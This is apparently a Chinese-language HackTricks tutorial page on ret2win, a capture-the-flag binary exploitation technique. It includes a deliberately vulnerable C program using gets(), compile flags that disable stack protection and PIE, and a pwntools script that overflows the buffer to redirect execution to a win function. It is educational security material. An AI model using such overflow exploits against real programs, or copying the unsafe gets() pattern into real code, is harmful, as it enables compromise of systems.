hacktricks/binary-exploitation/stack-overflow/ret2win.md

6.7 KiB
Raw Blame History

Ret2win

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

基本信息

Ret2win挑战是夺旗赛CTF比赛中的一个热门类别,特别是在涉及二进制利用的任务中。目标是利用给定二进制文件中的漏洞,执行特定的未调用函数,通常命名为winflag等。当执行时,该函数通常会打印出一个标志或成功消息。挑战通常涉及覆盖栈上的返回地址,以将执行流重定向到所需的函数。以下是更详细的解释和示例:

C示例

考虑一个简单的C程序其中存在漏洞和一个我们打算调用的win函数:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

要编译此程序而不启用堆栈保护并禁用ASLR,您可以使用以下命令:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: 将程序编译为32位二进制文件这是可选的但在CTF挑战中很常见
  • -fno-stack-protector: 禁用对栈溢出的保护。
  • -z execstack: 允许在栈上执行代码。
  • -no-pie: 禁用位置无关可执行文件,以确保win函数的地址不会改变。
  • -o vulnerable: 将输出文件命名为vulnerable

使用Pwntools的Python攻击脚本

对于攻击,我们将使用pwntools一个强大的CTF框架用于编写攻击。攻击脚本将创建一个有效负载来溢出缓冲区并用win函数的地址覆盖返回地址。

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

要找到win函数的地址,您可以使用gdbobjdump或任何其他允许您检查二进制文件的工具。例如,使用objdump,您可以使用:

objdump -d vulnerable | grep win

这个命令将显示win函数的汇编代码,包括其起始地址。

Python脚本发送一个精心构造的消息当被vulnerable_function处理时,会溢出缓冲区并用win的地址覆盖栈上的返回地址。当vulnerable_function返回时,不会返回到main或退出,而是跳转到win,并打印消息。

保护措施

  • PIE 应该被禁用,以便地址在多次执行中可靠,否则函数存储的地址不会始终相同,您需要一些泄漏来找出win函数加载的位置。在某些情况下,当导致溢出的函数是read或类似函数时您可以进行1或2字节的部分覆盖以将返回地址更改为win函数。由于ASLR的工作原理最后三个十六进制数字是不随机的因此有1/16的机会1个十六进制数字获得正确的返回地址。
  • 栈保护 也应该被禁用否则受损的EIP返回地址将永远不会被跟随。

其他示例和参考资料